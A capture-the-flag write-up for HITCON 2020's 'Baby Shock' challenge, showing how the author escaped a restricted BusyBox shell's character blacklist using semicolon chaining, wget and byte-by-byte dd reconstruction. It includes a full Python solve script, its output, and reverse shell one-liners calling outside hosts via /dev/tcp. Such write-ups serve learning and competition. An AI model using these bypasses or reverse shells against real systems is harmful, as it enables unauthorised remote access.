# Baby Shock
**Category**: Misc \**Author**: ??? \**Solves**: 63 teams \**Points**: 201
## Challenge
```nc 54.248.135.16 1986```
## Solution
This problem took me about 7 hours to solve and it was the only one I was ableto solve during this CTF. Full disclosure: compared to[solutions from other teams](https://github.com/FrenchRoomba/ctf-writeup-HITCON-CTF-2020/tree/master/baby-shock),mine is pretty awful. Here goes:
```$ nc 54.248.135.16 1986connected!welcome to Baby shock, doo, doo, doo, doo, doo, doo!!!> help> Available Commands:pwd ls mkdir netstat sort printf exit help id mount df du find history touch> pwd> /hitcon/<my_ip>> mkdir> BusyBox v1.27.2 (Ubuntu 1:1.27.2-2ubuntu3.3) multi-call binary.
Usage: mkdir [OPTIONS] DIRECTORY...
Create DIRECTORY
        -m MODE Mode        -p      No error if exists; make parent directories as needed> printf hi> hi> ls /> bad command: ls /> printf /> bad command: printf /> ls -l> bad command: ls -l> printf -> bad command: printf -```
As you can see, we seem to be in a restricted BusyBox shell with a limited setof commands available. Also, it seems that we aren't allowed to use characterslike `/` and `-`, which is a bit frustrating. By running `printf <char>`, wecan test to see whether `<char>` is blacklisted or not.
After some testing, I found that these were blacklisted:```$ { } [ ] - \ / < > | " ' * ? ! @ &```
And these were allowed:```; : ( ) = + # % ~```
Also, interestingly enough, commands with more than one `.` would fail.
From this we can see that:- We can't easily inspect parent directions because `/` and `..` are blacklisted- We can't supply options to commands because `-` is blacklisted- Writing files is difficult because redirection (`>`) and piping (`|`) are  disallowed
After playing around with the shell for a few hours, I eventually found something interesting:```> pwd ; echo hi> /hitcon/<my_ip>hi```
Wait what? I thought `echo` wasn't included in the list of allowed commands! Asit turns out, as long as we run a whitelisted command first, we can run anycommand we want after the semicolon, like `echo`, `cat`, `nc`, `perl`,`python3`, `vim`. However, the blacklist of special characters still prevents usfrom doing anything meaningful.
Despite the initial excitement, I was stuck here for a long time. After a while,I randomly decided to run `pwd ; ps` and got this:
```> pwd ; ps> /hitcon/<my_ip>PID   USER     COMMAND    1 root     {systemd} /sbin/init    2 root     [kthreadd]...13497 orange   /lib/systemd/systemd --user    <-- CTF admins logged in here13509 orange   (sd-pam)13671 orange   {screen} SCREEN13672 orange   /bin/bash13732 root     sudo su13733 root     su13734 root     bash14241 cb520    /lib/systemd/systemd --user14242 cb520    (sd-pam)24508 cb520    sshd: cb520@pts/424509 cb520    -bash24524 root     sudo su -24526 root     su -24527 root     {bash} -su...16406 1128     /bin/sh -c busybox sh16409 1128     busybox sh16426 1128     {exe} sh index.html                             <- ?16427 1128     bash -c bash -i >& /dev/tcp/p6.is/4444 0>&1     <- ?16429 1128     bash -i19281 1128     /bin/sh -c busybox sh19288 1128     busybox sh19864 1128     bash in1219865 1128     /bin/bash -i20201 1128     /bin/sh -c busybox sh20202 1128     busybox sh20326 root     [kworker/0:2-cgr]20365 1128     python3 -c import pty; pty.spawn("/bin/bash")   <- ?23368 1128     vim                                             <- ?24865 1128     python3 /babyshock2020.py24866 1128     /bin/sh -c busybox sh25564 1128     python3 /babyshock2020.py25565 1128     /bin/sh -c busybox sh25566 1128     busybox sh25575 1128     bash...25868 1128     {exe} ps```
We can actually a see a few reverse shells from other teams still running! Forexample, we can see the reverse shell of [posix](https://p6.is/) from[The Flat Network Society](https://github.com/TFNS/) here:```bash -c bash -i >& /dev/tcp/p6.is/4444 0>&1```
But how were they able to use blacklisted characters like `- > & /`?Then I saw this line:```sh index.html```
What if we put a bash script at some `domain.com`, download it, and then executeit? That would allow us to bypass the blacklist. To test it, I ran this:```> pwd ; wget google.com> /hitcon/<my_ip>Connecting to google.com (216.58.197.174:80)Connecting to www.google.com (216.58.220.100:80)index.html           100% |*******************************| 14037   0:00:00 ETA> pwd ; file index.html> /hitcon/<my_ip>index.html: HTML document, ASCII text, with very long lines> pwd ; bash index.html> /hitcon/<my_ip>index.html: line 1: syntax error near unexpected token `<'   <-- Expected, since it's just HTML right now```
Great, downloading and executing a file looks like it will work. Now we justneed to put a bash script on a server that can be reached from the shell.However, when I tried to few different servers, I got this:```> pwd ; wget 12.345.67.89> bad command: pwd ; wget 12.345.67.89       <-- Multiple periods in one command not allowed> pwd ; images.google.com> bad command: pwd ; wget images.google.com  <-- Multiple periods> pwd ; wget google.com/test> bad command: pwd ; wget google.com/test    <-- Slash not allowed```
So subdomains and subdirectories are a no-go. We actually need a full domainlike `google.com` or `hitcon.org`.
**Note**: adikso from IRC gave me some feedback on this write-up and told me amethod to bypass this. If only I had thought of this before ?> If you don't have the domain you could convert the ip address to its decimal> format https://www.ipaddressguide.com/ip and then just `wget 16843009`
Since I assumed that we needed a proper domain, I asked around on my team, butnobody owned a domain that I could use.I was stumped here for a while before I came up with a stupid idea:- Download some HTML page like `hitcon.org`- Since it's HTML, it'll contain characters like `- / < >`- Use `dd` to copy the desired characters one-by-one into a bash script- Execute the script
At this point I was vaguely aware that I was stumbling upon an extremelyroundabout solution and that the intended solution was probably much simpler.But I didn't have the creativity nor the experience to come up with it, soI continued on. It took me several hours, but I eventually came up with a workingsolution:
```pythonimport pwnimport sysimport subprocessimport os.path
assert len(sys.argv) >= 2cmd = sys.argv[1]  # The command we want to execute (will be saved to file)
url = 'hitcon.org'wget = 'wget {}'.format(url)
if os.path.isfile('index.html'):    os.remove('index.html')
print(subprocess.check_output(wget, shell=True).decode())
# Need to split into bytes to ensure multi-byte chars are handled correctlyfin = bytearray(open('index.html', 'rb').read())
payloads = [    'pwd ; rm index.html',    'pwd ; rm payload',    'pwd ; {}'.format(wget)]
# bs=1 -> blocksize = 1 byte# count=1 -> transfer 1 block# skip -> offset of the input file to read from# seek -> offset of the output file to write tofstr = 'pwd ; dd if=index.html of=payload bs=1 count=1 skip={} seek={}'
for i, c in enumerate(cmd):    pos = fin.find(c.encode())    if pos == -1:        raise ValueError('char `{}` not found'.format(c))    payloads.append(fstr.format(pos, i))
payloads.append('pwd ; bash payload')
p = '\n'.join(payloads)print(p)
if len(sys.argv) >= 3:    io = pwn.remote('54.248.135.16', 1986)    io.sendline(p)    print(io.recvallS(timeout=2))else:    print(subprocess.check_output(p, shell=True).decode())```
Output:```$ python3 solve.py "ls -l /" remote--2020-11-29 16:12:17--  http://hitcon.org/Resolving hitcon.org (hitcon.org)... 104.27.174.104, 104.27.175.104, 172.67.200.105, ...Connecting to hitcon.org (hitcon.org)|104.27.174.104|:80... connected.HTTP request sent, awaiting response... 302 FoundLocation: https://hitcon.org/2020/ [following]--2020-11-29 16:12:17--  https://hitcon.org/2020/Connecting to hitcon.org (hitcon.org)|104.27.174.104|:443... connected.HTTP request sent, awaiting response... 200 OKLength: unspecified [text/html]Saving to: ‘index.html’
index.html                                          [ <=>                                                                                                 ]  11.97K  --.-KB/s    in 0.002s
2020-11-29 16:12:17 (6.29 MB/s) - ‘index.html’ saved [12253]
pwd ; rm index.htmlpwd ; rm payloadpwd ; wget hitcon.orgpwd ; dd if=index.html of=payload bs=1 count=1 skip=13 seek=0pwd ; dd if=index.html of=payload bs=1 count=1 skip=59 seek=1pwd ; dd if=index.html of=payload bs=1 count=1 skip=9 seek=2pwd ; dd if=index.html of=payload bs=1 count=1 skip=30 seek=3pwd ; dd if=index.html of=payload bs=1 count=1 skip=13 seek=4pwd ; dd if=index.html of=payload bs=1 count=1 skip=9 seek=5pwd ; dd if=index.html of=payload bs=1 count=1 skip=167 seek=6pwd ; bash payload[+] Opening connection to 54.248.135.16 on port 1986: Done[+] Receiving all data: Done (2.64KB)[*] Closed connection to 54.248.135.16 port 1986connected!welcome to Baby shock, doo, doo, doo, doo, doo, doo!!!> > > > > > > > > > > > > > > > > > > > > > > /hitcon/75.188.17.80/hitcon/75.188.17.80/hitcon/75.188.17.80Connecting to hitcon.org (104.27.174.104:80)Connecting to hitcon.org (172.67.200.105:443)index.html           100% |*******************************| 12253   0:00:00 ETA
/hitcon/75.188.17.801+0 records in1+0 records out/hitcon/75.188.17.801+0 records in1+0 records out/hitcon/75.188.17.801+0 records in1+0 records out/hitcon/75.188.17.801+0 records in1+0 records out/hitcon/75.188.17.801+0 records in1+0 records out/hitcon/75.188.17.801+0 records in1+0 records out/hitcon/75.188.17.801+0 records in1+0 records out/hitcon/75.188.17.80total 4194516-rwx------    1 root root       2538 Nov 28 08:10 babyshock2020.py-rwx------    1 root root       2496 Nov 28 08:09 babyshock2020.py~drwxr-xr-x    2 root root       4096 Oct 26 17:27 bindrwxr-xr-x    3 root root       4096 Oct 26 17:32 bootdrwxr-xr-x   15 root root       3120 Nov 28 21:49 devdrwxr-xr-x   90 root root       4096 Nov 28 06:36 etc-r--------    1 root root         32 Nov 28 05:10 flagd-wx-wx-wt    3 root root      61440 Nov 29 20:56 historyd-wx-wx-wt 1103 root root      36864 Nov 29 20:56 hitcondrwxr-xr-x    5 root root       4096 Nov 28 04:47 homelrwxrwxrwx    1 root root         30 Oct 26 17:32 initrd.img -> boot/initrd.img-5.4.0-1029-awslrwxrwxrwx    1 root root         30 Oct 26 17:32 initrd.img.old -> boot/initrd.img-5.4.0-1029-awsdrwxr-xr-x   20 root root       4096 Nov 28 05:11 libdrwxr-xr-x    2 root root       4096 Nov 28 05:11 lib64drwx------    2 root root      16384 Oct 26 17:29 lost+founddrwxr-xr-x    2 root root       4096 Oct 26 17:24 mediadrwxr-xr-x    2 root root       4096 Oct 26 17:24 mntdrwxr-xr-x    2 root root       4096 Oct 26 17:24 optdr-xr-xr-x  132 root root          0 Nov 28 21:49 proc-rwsr-sr-x    1 root root       8440 Nov 28 05:11 readflagdrwx------    6 root root       4096 Nov 28 15:02 rootdrwxr-xr-x   24 root root        900 Nov 29 09:23 rundrwxr-xr-x    2 root root       4096 Oct 26 17:27 sbindrwxr-xr-x    6 root root       4096 Nov 28 13:40 snapdrwxr-xr-x    2 root root       4096 Oct 26 17:24 srv-rw-------    1 root root 4294967296 Nov 29 06:30 swapdr-xr-xr-x   13 root root          0 Nov 28 21:49 sysdrwxrwxrwt   12 root root       4096 Nov 29 19:27 tmpdrwxr-xr-x   10 root root       4096 Oct 26 17:24 usrdrwxr-xr-x   13 root root       4096 Oct 26 17:27 varlrwxrwxrwx    1 root root         27 Oct 26 17:32 vmlinuz -> boot/vmlinuz-5.4.0-1029-awslrwxrwxrwx    1 root root         27 Oct 26 17:32 vmlinuz.old -> boot/vmlinuz-5.4.0-1029-aws```
We're most interested in these two entries:```-r--------    1 root root         32 Nov 28 05:10 flag-rwsr-sr-x    1 root root       8440 Nov 28 05:11 readflag```
`readflag` has the SUID and SGID bit set, so running it should give us the flag.Now all we have to do is run the script again to execute it:```$ python3 solve.py "/readflag" remote--2020-11-29 16:12:59--  http://hitcon.org/Resolving hitcon.org (hitcon.org)... 172.67.200.105, 104.27.175.104, 104.27.174.104, ...Connecting to hitcon.org (hitcon.org)|172.67.200.105|:80... connected.HTTP request sent, awaiting response... 302 FoundLocation: https://hitcon.org/2020/ [following]--2020-11-29 16:13:00--  https://hitcon.org/2020/Connecting to hitcon.org (hitcon.org)|172.67.200.105|:443... connected.HTTP request sent, awaiting response... 200 OKLength: unspecified [text/html]Saving to: ‘index.html’
index.html                                          [ <=>                                                                                                 ]  12.13K  --.-KB/s    in 0.001s
2020-11-29 16:13:00 (16.4 MB/s) - ‘index.html’ saved [12417]
pwd ; rm index.htmlpwd ; rm payloadpwd ; wget hitcon.orgpwd ; dd if=index.html of=payload bs=1 count=1 skip=167 seek=0pwd ; dd if=index.html of=payload bs=1 count=1 skip=58 seek=1pwd ; dd if=index.html of=payload bs=1 count=1 skip=40 seek=2pwd ; dd if=index.html of=payload bs=1 count=1 skip=23 seek=3pwd ; dd if=index.html of=payload bs=1 count=1 skip=42 seek=4pwd ; dd if=index.html of=payload bs=1 count=1 skip=66 seek=5pwd ; dd if=index.html of=payload bs=1 count=1 skip=13 seek=6pwd ; dd if=index.html of=payload bs=1 count=1 skip=23 seek=7pwd ; dd if=index.html of=payload bs=1 count=1 skip=25 seek=8pwd ; bash payload[+] Opening connection to 54.248.135.16 on port 1986: Done[+] Receiving all data: Done (889B)[*] Closed connection to 54.248.135.16 port 1986connected!welcome to Baby shock, doo, doo, doo, doo, doo, doo!!!> > > > > > > > > > > > > > > > > > > > > > /hitcon/75.188.17.80> > > > > /hitcon/75.188.17.80/hitcon/75.188.17.80Connecting to hitcon.org (172.67.200.105:80)Connecting to hitcon.org (172.67.200.105:443)index.html           100% |*******************************| 12253   0:00:00 ETA
/hitcon/75.188.17.801+0 records in1+0 records out/hitcon/75.188.17.801+0 records in1+0 records out/hitcon/75.188.17.801+0 records in1+0 records out/hitcon/75.188.17.801+0 records in1+0 records out/hitcon/75.188.17.801+0 records in1+0 records out/hitcon/75.188.17.801+0 records in1+0 records out/hitcon/75.188.17.801+0 records in1+0 records out/hitcon/75.188.17.801+0 records in1+0 records out/hitcon/75.188.17.801+0 records in1+0 records out/hitcon/75.188.17.80hitcon{i_Am_s0_m155_s3e11sh0ck}```
Alternatively, you can spawn a reverse shell by port-forwarding `6666` and running:```$ nc -lvp 6666$ python3 solve.py "bash -i >& /dev/tcp/75.188.17.80/6666 0>&1" remote```
Ouput:```$ nc -lvp 6666Listening on [0.0.0.0] (family 0, port 6666)Connection from ec2-54-248-135-16.ap-northeast-1.compute.amazonaws.com 35300 received!bash: cannot set terminal process group (11065): Inappropriate ioctl for devicebash: no job control in this shellgroups: cannot find name for group ID 2020I have no name!@ip-172-31-11-96:/$ ./readflag./readflaghitcon{i_Am_s0_m155_s3e11sh0ck}I have no name!@ip-172-31-11-96:/$```
Thanks HITCON for the fun challenge!